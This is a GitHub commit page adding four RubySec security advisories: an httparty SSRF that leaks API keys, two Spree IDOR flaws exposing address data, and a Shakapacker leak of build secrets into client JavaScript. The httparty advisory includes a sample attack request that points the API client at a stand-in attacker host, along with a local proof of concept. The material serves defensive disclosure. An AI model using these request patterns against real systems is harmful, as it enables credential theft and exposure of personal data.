Skip to content

Commit 310bc9e

Browse files
jasnowRubySec CI
jasnow
authored and
RubySec CI
committed
Updated advisory posts against rubysec/ruby-advisory-db@81853a7 
1 parent 70e9873 commit 310bc9e

File tree

4 files changed

+367
-0
lines changed

4 files changed

+367
-0
lines changed

‎advisories/_posts/2025-12-23-CVE-2025-68696.md‎

Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
---
2+
layout: advisory
3+
title: 'CVE-2025-68696 (httparty): httparty Has Potential SSRF Vulnerability That
4+
Leads to API Key Leakage'
5+
comments: false
6+
categories:
7+
- httparty
8+
advisory:
9+
gem: httparty
10+
cve: 2025-68696
11+
ghsa: hm5p-x4rq-38w4
12+
url: https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4
13+
title: httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage
14+
date: 2025-12-23
15+
description: |
16+
## Summary
17+
18+
There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
19+
20+
## Details
21+
22+
When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
23+
24+
Consider the following example of a web application:
25+
26+
```rb
27+
require 'sinatra'
28+
require 'httparty'
29+
30+
class RepositoryClient
31+
include HTTParty
32+
base_uri 'http://exmaple.test/api/v1/repositories/'
33+
headers 'X-API-KEY' => '1234567890'
34+
end
35+
36+
post '/issue' do
37+
request_body = JSON.parse(request.body.read)
38+
RepositoryClient.get(request_body['repository_id']).body
39+
# do something
40+
json message: 'OK'
41+
end
42+
```
43+
44+
Now, suppose an attacker sends a request like this:
45+
46+
```
47+
POST /issue HTTP/1.1
48+
Host: localhost:10000
49+
Content-Type: application/json
50+
51+
{
52+
"repository_id": "http://attacker.test",
53+
"title": "test"
54+
}
55+
```
56+
57+
In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.
58+
59+
A similar problem was reported and fixed in the HTTP client library axios in the past:
60+
<https://github.com/axios/axios/issues/6463>
61+
62+
Also, Python's `urljoin` function has documented a warning about similar behavior:
63+
<https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>
64+
65+
## PoC
66+
67+
Follow these steps to reproduce the issue:
68+
69+
1. Set up two simple HTTP servers.
70+
71+
```bash
72+
mkdir /tmp/server1 /tmp/server2
73+
echo "this is server1" > /tmp/server1/index.html
74+
echo "this is server2" > /tmp/server2/index.html
75+
python -m http.server -d /tmp/server1 10001 &
76+
python -m http.server -d /tmp/server2 10002 &
77+
```
78+
79+
2. Create a script (for example, `main.rb`):
80+
81+
```rb
82+
require 'httparty'
83+
84+
class Client
85+
include HTTParty
86+
base_uri 'http://localhost:10001'
87+
end
88+
89+
data = Client.get('http://localhost:10002').body
90+
puts data
91+
```
92+
93+
3. Run the script:
94+
95+
```bash
96+
$ ruby main.rb
97+
this is server2
98+
```
99+
100+
Although `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.
101+
102+
103+
## Impact
104+
105+
- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
106+
- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
107+
- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.
108+
cvss_v4: 8.8
109+
patched_versions:
110+
- ">= 0.24.0"
111+
related:
112+
url:
113+
- https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4
114+
- https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240
115+
- https://nvd.nist.gov/vuln/detail/CVE-2025-68696
116+
- https://github.com/advisories/GHSA-hm5p-x4rq-38w4
117+
---

‎advisories/_posts/2026-01-08-CVE-2026-22588.md‎

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
---
2+
layout: advisory
3+
title: 'CVE-2026-22588 (spree_api): Spree API has Authenticated Insecure Direct Object
4+
Reference (IDOR) via Order Modification'
5+
comments: false
6+
categories:
7+
- spree_api
8+
advisory:
9+
gem: spree_api
10+
cve: 2026-22588
11+
ghsa: g268-72p7-9j6j
12+
url: https://github.com/spree/spree/security/advisories/GHSA-g268-72p7-9j6j
13+
title: Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order
14+
Modification
15+
date: 2026-01-08
16+
description: |
17+
### Summary
18+
19+
An Authenticated Insecure Direct Object Reference (IDOR)
20+
vulnerability was identified that allows an authenticated user to
21+
retrieve other users’ address information by modifying an existing order.
22+
By editing an order they legitimately own and manipulating address
23+
identifiers in the request, the backend server accepts and processes
24+
references to addresses belonging to other users, subsequently
25+
associating those addresses with the attacker’s order and returning
26+
them in the response.
27+
28+
### Details
29+
30+
Affected Component(s)
31+
32+
- Authenticated user order management
33+
- Address association logic
34+
- Order update endpoint(s)
35+
36+
Affected Endpoint(s):
37+
- `/api/v2/storefront/checkout`
38+
39+
The application fails to enforce proper object-level authorization
40+
when updating an existing order. While the user is authenticated and
41+
authorized to modify their own order, the backend does not verify
42+
that the supplied address identifiers belong to the same authenticated user.
43+
44+
**See reference below for POC.**
45+
46+
### Impact
47+
48+
As a result, an attacker can:
49+
- Replace the address identifier with one belonging to another user
50+
- Cause the backend to associate and return another user’s address
51+
within the attacker’s order"
52+
cvss_v3: 6.5
53+
unaffected_versions:
54+
- "< 3.7.0"
55+
patched_versions:
56+
- "~> 4.10.2"
57+
- "~> 5.0.7"
58+
- "~> 5.1.9"
59+
- ">= 5.2.5"
60+
related:
61+
url:
62+
- https://nvd.nist.gov/vuln/detail/CVE-2026-22588
63+
- https://github.com/spree/spree/security/advisories/GHSA-g268-72p7-9j6j
64+
- https://github.com/spree/spree/commit/02acabdce2c5f14fd687335b068d901a957a7e72
65+
- https://github.com/spree/spree/commit/17e78a91b736b49dbea8d1bb1223c284383ee5f3
66+
- https://github.com/spree/spree/commit/b409c0fd327e7ce37f63238894670d07079eefe8
67+
- https://github.com/spree/spree/commit/d3f961c442e0015661535cbd6eb22475f76d2dc7
68+
- https://github.com/advisories/GHSA-g268-72p7-9j6j
69+
---

‎advisories/_posts/2026-01-08-CVE-2026-22589.md‎

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
---
2+
layout: advisory
3+
title: 'CVE-2026-22589 (spree_core): Spree API has Unauthenticated IDOR - Guest Address'
4+
comments: false
5+
categories:
6+
- spree_core
7+
advisory:
8+
gem: spree_core
9+
cve: 2026-22589
10+
ghsa: 3ghg-3787-w2xr
11+
url: https://github.com/spree/spree/security/advisories/GHSA-3ghg-3787-w2xr
12+
title: Spree API has Unauthenticated IDOR - Guest Address
13+
date: 2026-01-08
14+
description: |
15+
### Summary
16+
17+
An Unauthenticated Insecure Direct Object Reference (IDOR)
18+
vulnerability was identified that allows an unauthenticated attacker
19+
to access guest address information without supplying valid
20+
credentials or session cookies.
21+
22+
### Details
23+
24+
During testing, it was observed that all guest users can make an
25+
unauthenticated request to retrieve address data belonging to other
26+
guest users by manipulating object identifiers. The attacker would
27+
need to know the storefront URL structure to perform this attack
28+
(which can be learnt after creating a registered user account).
29+
30+
Affected Component(s)
31+
32+
* Address Edit endpoint: `/addresses/{addressId}/edit`
33+
34+
Root Cause
35+
- Faulty authorization check in CanCanCan Ability class:
36+
37+
```diff
38+
- can :manage, ::Spree::Address, user_id: user.id
39+
+ can :manage, ::Spree::Address, user_id: user.id if user.persisted?
40+
```
41+
42+
the `user` object in `Spree::Ability` class for guest users is
43+
a `Spree.user_class.new` object.
44+
45+
Addresses endpoint to access it is part of the `spree_storefront`
46+
gem. **Headless builds using APIs are not affected,** as the
47+
Addresses endpoint there is only for registered users, and
48+
records are scoped to the currently signed-in user.
49+
50+
### Impact
51+
52+
An unauthenticated attacker can:
53+
54+
- Enumerate and retrieve guest address information (Addresses
55+
associated with User accounts are NOT affected)
56+
- Access personally identifiable information (PII) such as:
57+
- Full names
58+
- Physical addresses
59+
- Phone numbers (if present)
60+
61+
This vulnerability could lead to:
62+
63+
- Privacy violations
64+
- Regulatory compliance issues (e.g., GDPR)
65+
- Loss of user trust"
66+
cvss_v3: 7.5
67+
unaffected_versions:
68+
- "< 4.0.0"
69+
patched_versions:
70+
- "~> 4.10.2"
71+
- "~> 5.0.7"
72+
- "~> 5.1.9"
73+
- ">= 5.2.5"
74+
related:
75+
url:
76+
- https://github.com/spree/spree/security/advisories/GHSA-3ghg-3787-w2xr
77+
- https://github.com/spree/spree/commit/16067def6de8e0742d55313e83b0fbab6d2fd795
78+
- https://github.com/spree/spree/commit/4c2bd62326fba0d846fd9e4bad2c62433829b3ad
79+
- https://github.com/spree/spree/commit/d051925778f24436b62fa8e4a6b842c72ca80a67
80+
- https://github.com/spree/spree/commit/e1cff4605eb15472904602aebaf8f2d04852d6ad
81+
- https://github.com/advisories/GHSA-3ghg-3787-w2xr
82+
---

‎advisories/_posts/2026-01-08-GHSA-96qw-h329-v5rg.md‎

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
---
2+
layout: advisory
3+
title: 'GHSA-96qw-h329-v5rg (shakapacker): Shakapacker has environment variable leak
4+
via EnvironmentPlugin that exposes secrets to client-side bundles'
5+
comments: false
6+
categories:
7+
- shakapacker
8+
advisory:
9+
gem: shakapacker
10+
ghsa: 96qw-h329-v5rg
11+
url: https://github.com/shakacode/shakapacker/security/advisories/GHSA-96qw-h329-v5rg
12+
title: Shakapacker has environment variable leak via EnvironmentPlugin that exposes
13+
secrets to client-side bundles
14+
date: 2026-01-08
15+
description: |
16+
### Summary
17+
18+
Since 2017, the default webpack plugins have passed the entire
19+
`process.env` to `EnvironmentPlugin`. This pattern exposed ALL
20+
build environment variables to client-side JavaScript bundles
21+
whenever application code (or any dependency) referenced
22+
`process.env.VARIABLE_NAME`.
23+
24+
This is not a regression - the vulnerable code has existed since
25+
the original Webpacker implementation. No recent code change
26+
in Shakapacker triggered this issue.
27+
28+
### Impact
29+
30+
Any environment variable in the build environment that is referenced
31+
in client-side code (including third-party dependencies) is embedded
32+
directly into the JavaScript bundle. This includes:
33+
34+
- `DATABASE_URL` - Database credentials
35+
- `AWS_SECRET_ACCESS_KEY` - AWS credentials
36+
- `RAILS_MASTER_KEY` - Rails encrypted credentials key
37+
- `STRIPE_SECRET_KEY`, `TWILIO_AUTH_TOKEN` - Third-party API keys
38+
- Any other secrets present in the build environment
39+
40+
**Severity**: Critical - secrets are exposed in publicly accessible
41+
JavaScript files.
42+
43+
### Root Cause
44+
45+
The original code used:
46+
```javascript
47+
new
48+
webpack.EnvironmentPlugin(process.env)
49+
```
50+
51+
This makes every environment variable available for substitution. If
52+
any code references `process.env.SECRET_KEY`, that value is embedded
53+
in the bundle.
54+
55+
### Patches
56+
57+
Upgrade to version 9.5.0 or later, which uses an allowlist approach
58+
that only exposes `NODE_ENV`, `RAILS_ENV`, and `WEBPACK_SERVE` by default.
59+
60+
### Workarounds
61+
62+
If developers cannot upgrade immediately:
63+
1. Audit client-side code and dependencies for any `process.env.X`
64+
references to sensitive variables
65+
2. Remove sensitive variables from the build environment
66+
3. Override the default plugins with a custom webpack/rspack
67+
config using an explicit allowlist
68+
69+
### Migration
70+
71+
After upgrading, if client-side code needs access to specific environment
72+
variables:
73+
74+
**Option 1: Use the `SHAKAPACKER_PUBLIC_` prefix (recommended)**
75+
```bash
76+
# Variables with this prefix are automatically exposed
77+
export SHAKAPACKER_PUBLIC_API_URL=\"https://api.example.com\"
78+
```
79+
80+
**Option 2: Use `SHAKAPACKER_ENV_VARS`**
81+
```bash
82+
SHAKAPACKER_ENV_VARS=API_URL,FEATURE_FLAG
83+
bundle exec rails assets:precompile
84+
```
85+
86+
### Action Required
87+
88+
After upgrading, **rotate any secrets** that may have been exposed
89+
in previously compiled JavaScript bundles.
90+
cvss_v3: 7.5
91+
patched_versions:
92+
- ">= 9.5.0"
93+
related:
94+
url:
95+
- https://github.com/shakacode/shakapacker/security/advisories/GHSA-96qw-h329-v5rg
96+
- https://github.com/shakacode/shakapacker/pull/857
97+
- https://github.com/shakacode/shakapacker/commit/3e06781b18383c5c2857ed3a722f7b91bdc1bc0e
98+
- https://github.com/advisories/GHSA-96qw-h329-v5rg
99+
---

0 commit comments

Comments
 (0)